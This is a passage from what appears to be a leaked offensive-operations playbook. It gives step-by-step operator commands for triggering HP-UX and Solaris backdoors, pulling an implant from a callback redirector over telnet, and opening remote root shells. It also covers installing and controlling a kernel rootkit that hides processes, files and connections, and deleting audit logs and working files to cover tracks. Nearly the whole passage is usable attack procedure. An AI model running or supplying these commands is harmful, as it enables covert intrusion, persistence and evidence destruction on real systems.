7548### 7) on windows, the dairyfarm.exe (renamed as help16.exe or whatever) should
7549### go away from the process listing; You can now remove it from the target.
7550
7551
7552###
7553### END File user.tool.dairyfarm.COMMON
7554### (see also ../etc/user.tool.dairyfarm.COMMON)
7555
7556###
7557### BEGIN File user.tool.trigger_hpux_jl_in.COMMON (see also ../etc/user.tool.trigger_hpux_jl_in.COMMON)
7558###
7559
7560###############################################################
7561# TRIGGERING HPUX INCISION via JACKLADDER and JACKLADDERHELPER
7562###############################################################
7563
7564### BACKGROUND:
7565
7566### HP-INCISION provides process and file hiding. It does NOT provide
7567### connection hiding nor does it have a triggering capability in this
7568### version (1.1.2.1 for HPUX11.00)
7569
7570### HP-JACKLADDER differs from other JACKLADDERs because it requires the use
7571### of special source ports for triggering. The purpose of the special source
7572### ports is two-fold: it plays a part in the authentication process for the
7573### trigger, and it causes the 'accept' call to wait an extra 5 seconds for
7574### input, thus allowing it to work via most redirection (as long as the
7575### roundtrip time between the redirector and the target is less than 5
7576### seconds.)
7577
7578### JACKLADDERHELPER is an "instant-grat" version listening on an extra port.
7579### It only listens until the target reboots.
7580### On HPUX, it is typically installed on port 7162 running as 'memlogd'.
7581
7582### JACKLADDER will take over once the target reboots. Depending on how it
7583### was installed, it will listen on ports started by inetd (check
7584### /etc/inetd.conf) or on the sendmail port.
7585
7586### The HP-JACKLADDER and HP-JACKLADDERHELPER special source ports are:
7587### 3, 51, 8213, 12634, 16798, 23247
7588
7589
7590HP-TARGET-IP self-explanatory
7591HP-JL-SOURCE-PORT 3, 51, 8213, 12634, 16798, or 23247
7592JL-LISTEN-PORT before target reboots - double-check but probably 7162;
7593 after target reboots - double-check, but probably try (13,
7594 21, 23, 37, 113)
7595NETCAT-PORT random for uploading nopen
7596LINUX-OP-BOX local Linux machine (probably 192.168.254.71)
7597WIN-OP-BOX local Windows machine (probably 192.168.254.72)
7598UNIX-REDIR-IP IP that target will call back to
7599WIN-REDIR-IP IP that target will call back to
7600NOPEN_DIR directory to upload nopen to (/tmp/.scsi usually)
7601 (WILL NEED TO ESCAPE SLASHES)
7602NOPEN_NAME name of nopen on target
7603NOPEN_PORT port to run nopen on
7604
7605mx
7606:%s/HP_TARGET_IP/HP_TARGET_IP/g
7607:%s/HP_JL_SOURCE_PORT/HP_JL_SOURCE_PORT/g
7608:%s/JL_LISTEN_PORT/JL_LISTEN_PORT/g
7609:%s/NETCAT_PORT/NETCAT_PORT/g
7610:%s/LINUX_OP_BOX/LINUX_OP_BOX/g
7611:%s/WIN_OP_BOX/WIN_OP_BOX/g
7612:%s/UNIX_REDIR_IP/UNIX_REDIR_IP/g
7613:%s/WIN_REDIR_IP/WIN_REDIR_IP/g
7614:%s/NOPEN_DIR/NOPEN_DIR/g
7615:%s/NOPEN_NAME/NOPEN_NAME/g
7616:%s/NOPEN_PORT/NOPEN_PORT/g
7617'x
7618
7619
7620#########################################################
7621### TO CONNECT TO JACKLADDER* thru solaris box:
7622#########################################################
7623
7624### Verify the JACKLADDERHELPER port is still listening
7625### If the port doesn't respond, the target may have rebooted or JACKLADDER_HELPER died
7626### "Connection refused" means that the port isn't listening
7627### Otherwise scan for ports that should be started by inetd
7628### jackladderhelper port is probably 7162
7629
7630-scan JL_LISTEN_PORT TARGET_IP
7631
7632### On Solaris redirector:
7633
7634-jackpop HP_TARGET_IP JL_LISTEN_PORT UNIX_REDIR_IP HP_JL_SOURCE_PORT
7635
7636Your Choice[1] 1
7637UTC offset? [0]
7638Which port will we be uploading nopen on? [44841] NETCAT_PORT
7639Which port would you like nopen to listen on? [48970] NOPEN_PORT
7640Nopen to upload[] CORRECT_NOSERVER_FROM_MORERATS
7641Which directory would you like to create[/tmp/.dskman] NOPEN_DIR
7642What would you like nopen called on target [podd] NOPEN_NAME
7643Do you want incision to bless the nopen server? [Yn] Y
7644
7645Continue? [Yn] Y
7646
7647### after the upload completes:
7648### close both jackpop windows,
7649### type DONE in -jackpop window
7650
7651### connect using the -nstun command given by the -jackpop window
7652
7653############ GO TO WEARCUP SECTION NOW IF SUCCESSFUL #########
7654
7655######## TROUBLESHOOTING ONLY - avoid syntax errors with commands being executed on target!:
7656
7657### Test JL from redirector:
7658### special source ports: 3, 51, 8213, 12634, 16798, 23247
7659### Probably need to redirect output (2>&0 1>&0 as below) for every
7660### command run
7661
7662-jackpop HP_TARGET_IP JL_LISTEN_PORT UNIX_REDIR_IP HP_JL_SOURCE_PORT
7663
76643
76650
7666Y
7667date 2>&0 1>&0
7668DONE
7669
7670##############################################################
7671### TO CONNECT TO HP-UX JACKLADDER* thru non-Solaris Unix box:
7672##############################################################
7673
7674### Window 1 on Unix redirector:
7675-tunnel
7676l JL_LISTEN_PORT HP_TARGET_IP JL_LISTEN_PORT HP_JL_SOURCE_PORT
7677r NETCAT_PORT
7678
7679### Window 2 on Unix redirector:
7680# If nopen calling back:
7681-nrtun NOPEN_PORT
7682
7683# If calling into nopen, don't run this until you run window 4 cmd
7684# and nopen appears to be successfully uploaded
7685-nstun HP_TARGET_IP:NOPEN_PORT
7686
7687### Window 3 local
7688packrat NOPEN_NAME CORRECT_NOSERVER_IN_MORERATS NETCAT_PORT
7689
7690### Window 4 local and scripted
7691# If calling forward into nopen:
7692LD_PRELOAD=/current/bin/connect.so CMD="mkdir NOPEN_DIR; cd NOPEN_DIR; telnet UNIX_REDIR_IP NETCAT_PORT </dev/console >NOPEN_NAME.uu; uudecode NOPEN_NAME.uu ; uncompress -f NOPEN_NAME.Z; chmod 700 NOPEN_NAME; export PATH=.; export D=-lNOPEN_PORT; NOPEN_NAME" RA=UNIX_REDIR_IP RP=HP_JL_SOURCE_PORT HIDEME= nc 127.0.0.1 JL_LISTEN_PORT
7693
7694# If nopen is calling back:
7695LD_PRELOAD=/current/bin/connect.so CMD="mkdir NOPEN_DIR; cd NOPEN_DIR; telnet UNIX_REDIR_IP NETCAT_PORT </dev/console >NOPEN_NAME.uu; uudecode NOPEN_NAME.uu ; uncompress -f NOPEN_NAME.Z; chmod 700 NOPEN_NAME; export PATH=.; export D=-cUNIX_REDIR_IP:NOPEN_PORT; export S=30; NOPEN_NAME" RA=UNIX_REDIR_IP RP=HP_JL_SOURCE_PORT HIDEME= nc 127.0.0.1 JL_LISTEN_PORT
7696
7697### TROUBLESHOOTING: CMD can be changed to be any string of shell commands.
7698### If output from any command in the string desired, you may have to append
7699### the string "2>&0 1>&0" to each command
7700### i.e. "ls -la /tmp 2>&0 1>&0; uname -a 2>&0 1>&0"
7701###
7702### NOTE: you cannot remove or overwrite a running binary on HP-UX, so if
7703### you are trying to overwrite something during troubleshooting, this may
7704### be why
7705
7706
7707#########################################################
7708### TO CONNECT TO JACKLADDER* thru windows box:
7709#########################################################
7710
7711### from windows target, scan JACKLADDERHELPER to see if it's still listening:
7712banner -ip HP_TARGET_IP -port JL_LISTEN_PORT
7713
7714### windows tunnels:
7715### ----------------
7716# Examples to connect, connect back to packrat window to upload nopen, and -nstun to target:
7717
7718### connect to JACKLADDER*
7719### background redirect -tcp -lplisten JL-LISTEN-PORT -target HP-TARGET-IP JL-LISTEN-PORT HP-JL-SOURCE-PORT -bind WIN-OP-BOX
7720### background redirect -tcp -lplisten 7162 -target 10.27.50.41 7162 12634 -bind 192.168.254.72
7721background redirect -tcp -lplisten JL_LISTEN_PORT -target HP_TARGET_IP JL_LISTEN_PORT HP_JL_SOURCE_PORT -bind WIN_OP_BOX
7722
7723
7724### callback to PACKRAT window
7725### background redirect -tcp -implantlisten NETCAT-PORT -target LINUX-OP-BOX NETCAT-PORT
7726### background redirect -tcp -implantlisten 39778 -target 192.168.254.71 39778
7727background redirect -tcp -implantlisten NETCAT_PORT -target LINUX_OP_BOX NETCAT_PORT
7728
7729
7730### call forward to NOPEN PORT (default listen port = 32754)
7731### background redirect -tcp -lplisten 32754 -target HP-TARGET-IP 32754 -bind WIN-OP-BOX
7732### background redirect -tcp -lplisten 32754 -target 10.27.50.41 32754 -bind 192.168.254.72
7733background redirect -tcp -lplisten NOPEN_PORT -target HP_TARGET_IP NOPEN_PORT -bind WIN_OP_BOX
7734
7735
7736### additional nopen windows (increment the lplisten port only):
7737### background redirect -tcp -lplisten 32755 -target HP-TARGET-IP 32754 -bind WIN-OP-BOX
7738### background redirect -tcp -lplisten 32755 -target 10.27.50.41 32754 -bind 192.168.254.72
7739background redirect -tcp -lplisten ANOTHER_PORT -target HP_TARGET_IP NOPEN_PORT -bind WIN_OP_BOX
7740background redirect -tcp -lplisten ANOTHER_ANOTHER_PORT -target HP_TARGET_IP NOPEN_PORT -bind WIN_OP_BOX
7741
7742### local linux:
7743### -----------
7744
7745# RA = redirector address
7746# RP = redirector source port
7747
7748# In local window
7749packrat NOPEN_NAME CORRECT_NOSERVER_IN_MORERATS NETCAT_PORT
7750
7751### in a local scripted window:
7752LD_PRELOAD=/current/bin/connect.so CMD="mkdir NOPEN_DIR; cd NOPEN_DIR; telnet WIN_REDIR_IP NETCAT_PORT </dev/console >NOPEN_NAME.uu; uudecode NOPEN_NAME.uu ; uncompress -f NOPEN_NAME.Z; chmod 700 NOPEN_NAME; export PATH=.; export D=-lNOPEN_PORT; nscd" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT HIDEME= nc WIN_OP_BOX JL_LISTEN_PORT
7753
7754### once the target uploads nopen, the LD_PRELOAD window should give you a prompt back;
7755### you can then connect to nopen:
7756noclient WIN_OP_BOX:NOPEN_PORT
7757noclient WIN_OP_BOX:ANOTHER_PORT
7758noclient WIN_OP_BOX:ANOTHER_ANOTHER_PORT
7759
7760######## TROUBLESHOOTING ONLY - avoid syntax errors with commands being executed on target!:
7761
7762### to run a command on target (do not string together multiple commands):
7763### LD_PRELOAD=./connect.so.RHEL4 CMD="uname -a" RA=WIN-REDIR-IP RP=HP-JL-SOURCE-PORT telnet WIN-OP-BOX JL-LISTEN-PORT
7764### LD_PRELOAD=./connect.so.RHEL4 CMD="uname -a" RA=10.27.50.50 RP=HP-JL-SOURCE-PORT telnet 192.168.254.72 7162
7765
7766LD_PRELOAD=/current/bin/connect.so CMD="uname -a" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT nc WIN_OP_BOX JL_LISTEN_PORT
7767
7768### to create a file on target:
7769### LD_PRELOAD=./connect.so.RHEL4 CMD="touch /tmp/.scsi/x " RA=WIN-REDIR-IP RP=HP-JL-SOURCE-PORT telnet WIN-OP-BOX JL-LISTEN-PORT
7770### LD_PRELOAD=./connect.so.RHEL4 CMD="touch /tmp/.scsi/x" RA=10.27.50.50 RP=HP-JL-SOURCE-PORT telnet 192.168.254.72 7162
7771
7772LD_PRELOAD=/current/bin/connect.so CMD="touch /tmp/.scsi/x" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT nc WIN_OP_BOX JL_LISTEN_PORT
7773
7774### to get an interactive window:
7775### LD_PRELOAD=./connect.so.RHEL4 CMD="/bin/sh 2>&0 1>&0" RA=WIN-REDIR-IP RP=HP-JL-SOURCE-PORT nc WIN-OP-BOX JL-LISTEN-PORT
7776### LD_PRELOAD=./connect.so.RHEL4 CMD="/bin/sh 2>&0 1>&0" RA=10.27.50.50 RP=HP-JL-SOURCE-PORT nc 192.168.254.72 7162
7777
7778LD_PRELOAD=./connect.so.RHEL4 CMD="/bin/sh 2>&0 1>&0" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT nc WIN_OP_BOX JL_LISTEN_PORT
7779
7780
7781
7782#########################################################
7783# Running WEARCUP and NOT using -burn
7784#########################################################
7785
7786### Once connected, you will be in your temporary directory and will need
7787### to clean it up. However, HPUX systems will not allow you to delete an
7788### executable if it's running, nor the directory it's running in. To
7789### circumvent this, use 'cup' (CleanUp)
7790
7791-lt
7792-rm nscd.uu
7793-gs wearcup -h
7794
7795# change the options for what you want to call cup and how long you want cup
7796# to sleep before it kills nopen and cleans your working directory,
7797# then run it
7798
7799-gs wearcup -r snmpd -w 4h
7800
7801# when it is time to end the op, kill the "sleep" pid to start immediate cleanup
7802# to extend the op, kill the pid of the script (now called snmpd) then kill the sleep
7803
7804# DO NOT -burnBURN !!!!!!
7805# use -exit for your windows!!!!!
7806
7807
7808
7809#########################################################
7810### HP-INCISION technique checks
7811#########################################################
7812
7813
7814### Check if JACKLADDERHELPER is still running:
7815ps -ef |grep memlogd
7816
7817### Verify the hidden directory is visible from your hidden process:
7818
7819-lt /lost+found/3d9892354a360245add0f483f269f384
7820
7821### Verify the hidden directory is no longer visible when you're in /dev:
7822
7823cd /dev; ls -la /lost+found/3d9892354a360245add0f483f269f384
7824
7825### system kernel checks:
7826
7827### get system configuration value for CPU_VERSION; should return 532
7828
7829/usr/bin/getconf SC_CPU_VERSION
7830
7831### get system configuration value for KERNEL_BITS; should return 64
7832
7833/usr/bin/getconf SC_KERNEL_BITS
7834
7835### get the status of any kernel modules that are currently loaded
7836### if under INCISION, should see krm and krm64
7837
7838kmadmin -s
7839
7840### check reboot history
7841
7842last -15 reboot
7843
7844### check and pull logs
7845
7846-lt /var/adm/syslog/syslog*
7847-get /var/adm/syslog/syslog*
7848
7849-lt /etc/rc.log*
7850-get /etc/rc.log*
7851
7852-lt /var/adm/crash
7853
7854-lt /*history
7855-lt /root/*history
7856-vget /*history /root/*history
7857
7858#########################################################
7859
7860###
7861### END File user.tool.trigger_hpux_jl_in.COMMON
7862### (see also ../etc/user.tool.trigger_hpux_jl_in.COMMON)
7863
7864###
7865### BEGIN File user.tool.stoicsurgeon.COMMON (see also ../etc/user.tool.stoicsurgeon.COMMON)
7866###
7867
7868##### Stoicsurgeon Ctrl Usage, Installation and Troubleshooting Script #####
7869
7870### WARNING! READ THIS! WARNING! READ THIS! WARNING! READ THIS! WARNING! ###
7871#
7872# NEVER explicitly reference any cloaked file or directory from an unprivileged
7873# process. Wildcards are ok, but explicit references are not. Stoic will
7874# self-destruct if an explicit reference to a cloaked file ever occurs from an
7875# unprivileged process. This includes the cloaked directory, any files inside
7876# the cloaked directory, any files/directories hidden after installation using
7877# Ctrl, the /proc entry of cloaked processes, etc.
7878#
7879# Examples:
7880# Assume /lib/.0123456789abcdef is a cloaked file or directory
7881# -lt /lib/.0123456789abcdef ##### BAD BAD BAD BAD BAD #####
7882# -lt /lib/.012* ##### GOOD, WILL NOT SEE OUTPUT FOR CLOAKED DIR,
7883# ##### WILL NOT SELF-DESTRUCT
7884#
7885# Assume 12345 is a cloaked process
7886# -lt /proc/12345/exe ##### BAD BAD BAD BAD BAD #####
7887# -lt /proc/*/exe ##### GOOD, WILL NOT SEE OUTPUT FOR 12345
7888# ##### WILL NOT SELF-DESTRUCT
7889#
7890# The cloaked directory will be in one of the following directories:
7891# (the first one of these directories that exists and is on the same disk
7892# partition as the root of the filesystem "/", see output from "df" or
7893# "mount" commands)
7894# -lt /var/tmp
7895# -lt /lib
7896# -lt /dev
7897# -lt /etc
7898# -lt /
7899#
7900# Refer to what the `pwd` from triggering Dewdrop returned if possible
7901#
7902### END WARNING END WARNING END WARNING END WARNING END WARNING END WARNING ###
7903
7904
7905########## Global Search/Replace commands ##########
7906## Target IP: IP address of newly deployed STOIC
7907## Target hostname: output from running "uname -n" on target
7908## Callback port: port for DD to call back to connect to ish (usually random)
7909## Redirector IP: IP for DD to call back to connect to ish
7910
7911### Target hostname MUST be output from "uname -n" on TARGET!!!!!!!!!! ###
7912
7913uname -n
7914
7915mx
7916:%s/TARGET_IP/TARGET_IP/g
7917:%s/TARGET_HOSTNAME/TARGET_HOSTNAME/g
7918:%s/CALLBACK_PORT/CALLBACK_PORT/g
7919:%s/REDIRECTOR_IP/REDIRECTOR_IP/g
7920'x
7921
7922
7923
7924############################################################################
7925##### INSTALLATION #####
7926############################################################################
7927
7928## First, make sure no other implants are installed, i.e. the family
7929# If Solaris
7930-strings /platform
7931
7932
7933## For Solaris, confirm can install against this kernel level
7934# Version number format: MAJORVERSION_MINORVERSION
7935# Valid patchlevels under "Kernel version": major version < 118833
7936# if = 118833, minor version <= 24
7937# Solaris 7 Sparc: major version < 106541
7938# major version == 106541, minor version <= 44
7939# Solaris 8 Sparc: major version < 117350
7940# major version == 117350, minor version <= 47
7941# Solaris 8 x86: major version < 108529
7942# major version == 108529, minor version <= 27
7943# Solaris 9 Sparc: major version < 122300
7944# major version == 122300, minor version <= 11
7945# Solaris 9 x86: major version < 118559
7946# major version == 118559, minor version <= 39
7947# Solaris 10 Sparc: major version < 125100
7948# major version == 125100, minor version <= 07
7949#
7950showrev -a
7951
7952# If higher than these, DO NOT INSTALL and report this
7953-problem untested solaris patch level MAJORVERSION_MINORVERSION
7954
7955## If installing on Linux, compare /proc/version with version being deployed
7956## Also compare hashes of installed kernels for another sanity check
7957-cat /proc/version
7958md5sum /boot/vmlinuz*
7959
7960## upload STOICSURGEON Installation Package
7961-put /current/up/date date
7962
7963## run STOICSURGEON Installation Package
7964PATH=. date
7965
7966## Take note of the Date that is displayed, "00" in the seconds field means SUCCESS
7967## If the Seconds field does not show "00" take note of the entire date provided and
7968## save data via notes or "-problem". A listing of possible values is located at the
7969## end of this script in the APPENDIX section.
7970
7971-problem stoicsurgeon failed install, the date string was OUTPUT_FROM_DATE
7972
7973## :30 error? On solaris 10, you get this if the kmdb module is loaded.
7974## Temporary workaround (as of 30 OCT 2007) is to remove it.
7975
7976modinfo | grep kmdb
7977
7978## Remove kmdb (NOT kmdbmod), the NUM here is the first column
7979
7980## modunload -i NUM
7981modinfo | grep kmdb
7982
7983## Then try again
7984-put /current/up/date date
7985PATH=. date
7986
7987
7988###################################################
7989### Trigger Dewdrop and verify SS is working ######
7990###################################################
7991
7992### Below are commands to trigger DD without upload/execute, there
7993### will be no Nopen session, will have a prompt in the "ish" shell
7994### Possibility exists will have to play with options to ourtn/-irtun
7995### to trigger on certain ports, etc.
7996
7997### Try THIS first (if redirecting from Nopen)
7998-irtun TARGET_IP CALLBACK_PORT -Y5
7999
8000### or (if going direct)
8001ourtn -Y5 -p CALLBACK_PORT TARGET_IP
8002
8003### for Dewdrop-3.X
8004tipoff-3.X --trigger-address TARGET_IP --target-address TARGET_IP --target-protocol <tcp/udp> --target-port TARGET_PORT --callback-address CALLBACK_IP --callback-port CALLBACK_PORT --start-ish
8005
8006### look for output from "pwd" run after target calls back, the resulting
8007### directory is the SS hidden directory
8008
8009## In Dewdrop window get the pid of DD connection to ish shell
8010echo $$
8011
8012## set DD PID in the rest of the script
8013mx
8014:%s/DEWDROP_PID/DEWDROP_PID/g
8015`x
8016
8017## In un-elevated Nopen window, verify Dewdrop connection and processes are cloaked
8018ps -ef | grep DEWDROP_PID
8019netstat -an | grep CALLBACK_PORT
8020
8021## the hidden directory will be somewhere on the root filesystem,
8022## you can now do a directory listing of the hidden directory's parent
8023## in the un-elevated Nopen window to determine that it is indeed hidden
8024## (i.e. do "-ls /var/tmp" if hidden dir is "/var/tmp/.0123456789abcdef")
8025##
8026## REMINDER: DO NOT EXPLICITLY NAME HIDDEN FILES/DIRS FROM AN UNPRIVILEGED
8027## WINDOW (see top of script for more detailed explanation)
8028-ls /var/tmp
8029-ls /lib
8030-ls /dev
8031-ls /etc
8032-ls /
8033
8034## Report any cloaking failures via notes or "-problem"
8035
8036#######################################################################
8037##### IF NO PROBLEMS ENCOUNTERED, INSTALLATION COMPLETE #####
8038#######################################################################
8039
8040
8041
8042#######################################################################
8043##### Ctrl Usage and Troubleshooting Instructions #####
8044#######################################################################
8045
8046### Should have at least two Nopen windows: one to become privileged,
8047### other to stay unprivileged, for comparing outputs of commands
8048
8049## get the PID of the Nopen window that will become privileged
8050-pid
8051
8052## set Nopen PID in the rest of the script
8053mx
8054:%s/PRIVILEGED_NOPEN_PID/PRIVILEGED_NOPEN_PID/g
8055`x
8056
8057########################################################
8058## Ctrl Usage Options:
8059# -C [pid | /file/path] Cloak the given process or file path
8060# -c [pid | /file/path] Uncloak the given process or file path
8061# -d Display default cloaked directory
8062# -E pid Enable the given process's ability to see otherwise
8063# cloaked processes and files.
8064# -e pid Disable the given process's ability to see
8065# otherwise cloaked processes and files.
8066# -F pid Enable the given process's ability to see otherwise
8067# cloaked files ONLY.
8068# -f pid Disable the given process's ability to see
8069# otherwise cloaked files ONLY.
8070# -P pid Enable the given process's ability to see otherwise cloaked
8071# processes ONLY.
8072# -p pid Disable the given process's ability to see otherwise cloaked
8073# processes ONLY.
8074# -K pid Designate a process as to be killed upon shutdown
8075# -k pid Designate a process as to NOT be killed upon shutdown
8076# -r /bin/sh Execute the given program as the root user
8077# -T signal Send the specified signal to all killable cloaked processes.
8078# -U Invoke a full uninstall (self destruct)
8079# -u Invoke a partial uninstall (unpatch and unload)
8080# -s path Set the times associated with a given file path
8081# -g path Get the times associated with a given file path
8082########################################################
8083
8084## upload SS Control Utility using nopen
8085-put /current/up/Ctrl c
8086## or ftshell
8087~~p /current/up/Ctrl c
8088
8089### If Nopen already a privileged process (i.e. started by a child of DD,
8090### etc.), do not need to set SEED variable to use Ctrl, otherwise SEED
8091### must be set
8092
8093## SEED calculation algorithm. WARNING do this off target!!!
8094 seedcalc TARGET_HOSTNAME
8095## if you don't have 'seedcalc'
8096 echo -n TARGET_HOSTNAME | rev | tr -d '\n' | md5sum | cut -f1 -d' '
8097## if you don't have 'rev'
8098 echo -n TARGET_HOSTNAME | sed '/\n/!G;s/\(.\)\(.*\n\)/&\2\1/;//D;s/.//' | tr -d '\n' | md5sum | cut -f1 -d' '
8099
8100## set value of SEED in the rest of the script
8101mx
8102:%s/CALCULATED_SEED/CALCULATED_SEED/g
8103`x
8104
8105## REMINDER: DO NOT USE THIS OUTPUT EXPLICITLY IN AN UNPRIVILEGED PROCESS WHEN
8106## ACCESSING FILESYSTEM, SEE WARNING AT THE TOP OF THE SCRIPT
8107
8108## WARNING: WHEN CLOAKING PROCESSES, MUST MAKE SURE THAT NO CLOAKED PROCESS IS
8109## IS THE PARENT OF AN UNCLOAKED PROCESS. IF NECESSARY TO HAVE A
8110## PROCESS UNCLOAKED, MUST UNCLOAK PARENTS ALL THE WAY TO INIT (i.e. if
8111## need an uncloaked Nopen, Nopen listener must be uncloaked as well)
8112
8113## Use Ctrl to determine the name of the Cloaked directory
8114SEED=CALCULATED_SEED PATH=. c -d
8115
8116## Use Ctrl to enable Nopen to see cloaked processes, connections and files.
8117SEED=CALCULATED_SEED PATH=. c -E PRIVILEGED_NOPEN_PID
8118
8119## Use Ctrl to cloak the Nopen process, connections.
8120SEED=CALCULATED_SEED PATH=. c -C PRIVILEGED_NOPEN_PID
8121
8122## Optional - Designate Nopen to NOT be killed should the implant be
8123## shutdown (self-destruct). You won't get any notification that this happened.
8124SEED=CALCULATED_SEED PATH=. c -k PRIVILEGED_NOPEN_PID
8125
8126## Or, can do the above three actions in one command line
8127SEED=CALCULATED_SEED PATH=. c -C PRIVILEGED_NOPEN_PID -E PRIVILEGED_NOPEN_PID -k PRIVILEGED_NOPEN_PID
8128
8129## can replace PRIVILEGED_NOPEN_PID with the PID of any process you'd like to hide
8130
8131## Find your nopen connections -- consider narrowing the search as you probably also
8132## already know your connection ip and port
8133netstat -an | grep REDIRECTOR_IP
8134
8135## set Nopen Port in the rest of the script
8136mx
8137:%s/NOPEN_PORT/NOPEN_PORT/g
8138`x
8139
8140## Find nopen using the privileged process. Verifies you can find Nopen in
8141## ps and netstat listings when privileged
8142ps -ef | grep PRIVILEGED_NOPEN_PID
8143netstat -an |grep NOPEN_PORT
8144
8145## in an unprivileged window, these should unsuccessful if Nopen was cloaked
8146## in an earlier Ctrl command
8147ps -ef | grep PRIVILEGED_NOPEN_PID
8148netstat -an | grep NOPEN_PORT
8149
8150## You should now be able to see the cloaked directory
8151## The cloaked directory MAY be in one of the following. Refer to what
8152## the `pwd` from Dewdrop returned
8153-lt /var/tmp
8154-lt /lib
8155-lt /dev
8156-lt /etc
8157-lt /
8158
8159### APPENDIX
8160## DATE Errors
8161##
8162## 1 LOADER_ERROR_UNKNOWN
8163## The requested action failed for an unknown reason.
8164## 2 LOADER_ERROR_MEMORY
8165## There was a problem allocating memory.
8166## 3 LOADER_ERROR_READ_FILE
8167## There was a problem reading file data.
8168## 4 LOADER_ERROR_EXTRACT_PAYLOAD
8169## Could not extract payload data.
8170## 5 LOADER_ERROR_INVALID_PAYLOAD
8171## Payload data is invalid.
8172## 6 LOADER_ERROR_MERGE_ARCHIVE
8173## Could not merge old archive with new during an upgrade.
8174## 7 LOADER_ERROR_GENERATE_PAYLOAD
8175## Could not generate new payload data during an upgrade.
8176## 8 LOADER_ERROR_BUFFER_TOO_SMALL
8177## The given buffer is too small to hold the requested data.
8178## 9 LOADER_ERROR_LIST_BUFFER_TOO_SMALL
8179## The given array is too small to hold all the requested data elements.
8180## 10 LOADER_ERROR_SYSINFO
8181## Could not determine the host system information.
8182## 11 LOADER_ERROR_ENUMERATE_PLATFORM_TAGS
8183## Could not enumerate platform types.
8184## 12 LOADER_ERROR_ENUMERATE_OBJECTS
8185## Could not enumerate objects associated with a tag.
8186## 13 LOADER_ERROR_READ_OBJECT
8187## Could not read object data or meta-data.
8188## 14 LOADER_ERROR_WRITE_OBJECT
8189## Could not write object data or meta-data.
8190## 15 LOADER_ERROR_LOAD_USER_MODULE_OBJECT
8191## Could not load a user module data object.
8192## 16 LOADER_ERROR_EXECUTE_OBJECT
8193## Could not execute an executable data object.
8194## 17 LOADER_ERROR_KERNEL_SHUTDOWN
8195## Could not unload existing kernel modules.
8196## 18 LOADER_ERROR_KERNEL_PLATFORM
8197## Payload does not contain any kernel modules for this platform.
8198## 19 LOADER_ERROR_KERNEL_INJECT
8199## Could not inject modules into the running kernel.
8200## 20 LOADER_ERROR_KERNEL_INVOKE
8201## Could not invoke a required kernel service.
8202## 21 LOADER_ERROR_PERSIST_ENABLE
8203## Could not enable persistence.
8204## 22 LOADER_ERROR_PERSIST_READ
8205## Could not read persistant executable.
8206## 23 LOADER_ERROR_HOSTID
8207## Hostid of system did not match the one stored in the archive.
8208## 24 LOADER_ERROR_EXECL
8209## Error calling execl(3) when invoking the 64-bit version of the Loader.
8210## 25 LOADER_ERROR_FORK
8211## Error calling fork(2) when invoking the 64-bit version of the Loader.
8212## 26 LOADER_ERROR_WAITPID
8213## Error calling waitpid(2) when invoking the 64-bit version of the Loader.
8214## 27 LOADER_ERROR_SIGACTION
8215## Error calling sigaction(2) when setting the Loader process signal handlers.
8216## 28 LOADER_ERROR_SIGADDSET
8217## Error calling sigaddset(2) when setting the Loader process signal handlers.
8218###################################################################################
8219###
8220### END File user.tool.stoicsurgeon.COMMON
8221### (see also ../etc/user.tool.stoicsurgeon.COMMON)
8222
8223###
8224### BEGIN File user.tool.dittlelight_hidelite.COMMON (see also ../etc/user.tool.dittlelight_hidelite.COMMON)
8225###
8226
8227############################################################
8228# DITTLELIGHT (HIDELIGHT)
8229############################################################
8230
8231### To run the unix oracle db scripts, you must do them outside of an INCISION process
8232### therefore, you can use DITTLELIGHT (HIDELITE) to unhide your nopen window
8233### You must run HIDELIGHT on a process with a parent PID of "1" so
8234### do a callback to your redirector and run hidelite on the callback window
8235
8236### Hidelite
8237### Create a callback window
8238
8239# On redirector:
8240-nrtun NOPEN_PORT
8241
8242# On target:
8243-call REDIR_IP NOPEN_PORT
8244
8245### upload the correct version of hidelite for sparc or linux in a temp directory:
8246mkdir /tmp/.scsi
8247-cd /tmp/.scsi
8248-put /current/bin/hidelite.sparc crond
8249 # or
8250-put /current/bin/hidelite.linux crond
8251
8252
8253### Obtain the PIDs of your nopen windows.
8254### The callback window will have a parent pid of (1):
8255### Run -pid in each nopen window:
8256-pid
8257
8258### In a nopen window OTHER than the callback window you are about to unhide,
8259### run hidelite to unhide the callback window:
8260./crond -u -p NOPEN_CALLBACK_WINDOW_PID
8261
8262### Remove hidelite from the target:
8263-rm crond
8264
8265### In the CALLBACK window, verify that this window has now lost its INCISION privileges
8266### and can no longer see the other nopen PIDS
8267
8268ps -ef | grep NOPEN_PID
8269
8270### In any window, you can run =psdiff to verify that either the callback window is
8271### unhidden or that the other (INCISION privileged) nopen windows are invisible
8272### to the callback window.
8273=psdiff
8274
8275### You can now run the oracle queries in the UNHIDDEN CALLBACK window.
8276### When done, simply -exit the unhidden callback window.
8277
8278### If for some reason you need to rehide a process, upload HIDELITE
8279### and run the following from a HIDDEN (privileged) window:
8280
8281### To hide again
8282./crond -h -p NOPENPID
8283-rm crond
8284
8285
8286### If you were running oracle commands, you can now clean them up:
8287### Cleanup the logs created from the oracle scripts:
8288### ex:
8289# -ls -t /opt/mnt/oracle/product/9.2.0/rdbms/audit
8290# -rm <NEW_FILES>
8291# -touch /opt/mnt/oracle/product/9.2.0/rdbms/audit/ora_1473.aud /opt/mnt/oracle/ product/9.2.0/rdbms/audit
8292
8293### Remove your working directory and -burn nopen when done with op
8294-cd /tmp
8295-rm .scsi
8296-lt /tmp
8297-burnBURN
8298
8299
8300
8301###
8302### END File user.tool.dittlelight_hidelite.COMMON
8303### (see also ../etc/user.tool.dittlelight_hidelite.COMMON)
8304
8305###
8306### BEGIN File user.tool.draftbagger.COMMON (see also ../etc/user.tool.draftbagger.COMMON)
8307###
8308
8309##### DRAFTBAGGER #####
8310
8311### Assumes have already talked to SNAT via SnatLp
8312
8313### Search/replace commands
8314:%s/ROUTER_IP/ROUTER_IP/g
8315:%s/PROXY_IP/PROXY_IP/g
8316:%s/RADIUS_IP/RADIUS_IP/g
8317:%s/RANDOM_HIGH/RANDOM_HIGH/g
8318
8319
8320### These aren't really means to be used as search/replace in this script, more
8321### placeholders for the example commands, but here are the commands anyway,
8322### commented out so you really shouldn't run them
8323#:%s/LOCAL_TUNNEL_COMMANDS_PORT/LOCAL_TUNNEL_COMMANDS_PORT/g
8324#:%s/NOPEN_PID/NOPEN_PID/g
